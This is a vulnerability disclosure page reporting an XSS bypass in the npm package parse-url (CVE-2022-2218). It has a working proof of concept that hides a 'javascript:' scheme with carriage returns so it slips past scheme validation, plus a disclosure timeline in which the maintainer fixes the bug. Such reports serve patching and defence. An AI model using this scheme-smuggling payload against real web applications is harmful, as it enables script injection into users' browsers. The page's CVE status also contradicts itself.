# Bypass of last fix in ionicabizau/parse-url

0

Valid Reported on Jun 7th 2022

## Description

last fix can be bypass because in this line we should consider the case `\r\r` or even `\r` too.

## Proof of Concept

```
const http = require("http");
const parseUrl = require("parse-url");
const url =  parseUrl('jav\r\r\rascript://%0aalert(1)');
console.log(url)
const server = http.createServer((request, response) => {
    response.writeHead(200);
    if (url.scheme !== "javascript" && url.scheme !== null) {
        response.end("<a href=\'" + url.href + "\'>Wowww!</a>" );
    }
    else{
        response.end("Nooo!");
    }
});
server.listen(80, "127.0.0.1",function(){
    console.log("http://"+this.address().address+":"+this.address().port);
});
```

## Impact

attackers with this vulnerability can easily place any malicious JS code on webpages



CVE
CVE-2022-2218

(Published)

Vulnerability Type
CWE-79: Cross-site Scripting (XSS) - Stored

Severity
Critical (9.1)

Registry
Npm

Affected Version
*

Visibility
Public

Status
Fixed

Found by

amammad
@amammad
pro

Fixed by

Ionică Bizău (Johnny B.)
@ionicabizau
unranked

This report was seen 715 times.

We are processing your report and will contact the **ionicabizau/parse-url** team within 24 hours. 6 months ago

**amammad** modified the report 6 months ago

**amammad** modified the report 6 months ago

**amammad** modified the report 6 months ago

We have contacted a member of the **ionicabizau/parse-url** team and are waiting to hear back

6 months ago

amammad modified the report 6 months ago

amammad 6 months ago Researcher

:))

I struggle with that why I sent a perfect fix on another report of mine because I think this report can be fixed and ignored if we use my solution to patch this vulnerability on another report!

Is it possible to only get the bounty and don't release a CVE for this report, please?

We have sent a follow up to the **ionicabizau/parse-url** team. We will try again in 7 days.
6 months ago

We have sent a second follow up to the **ionicabizau/parse-url** team. We will try again in 10 days.
5 months ago

Ionică 5 months ago Maintainer

Hi there! Sorry for the late reply and thank you for this report. I am working on fixing this.

Ionică Bizău (Johnny B.) validated this vulnerability 5 months ago

amammad has been awarded the disclosure bounty ✔

The fix bounty is now up for grabs

The researcher's credibility has increased: +7

Ionică Bizău (Johnny B.) marked this as fixed in 7.0.0 with commit 21c72a 5 months ago

Ionică Bizău (Johnny B.) has been awarded the fix bounty ✔

This vulnerability will not receive a CVE ✖

Sign in to join this conversation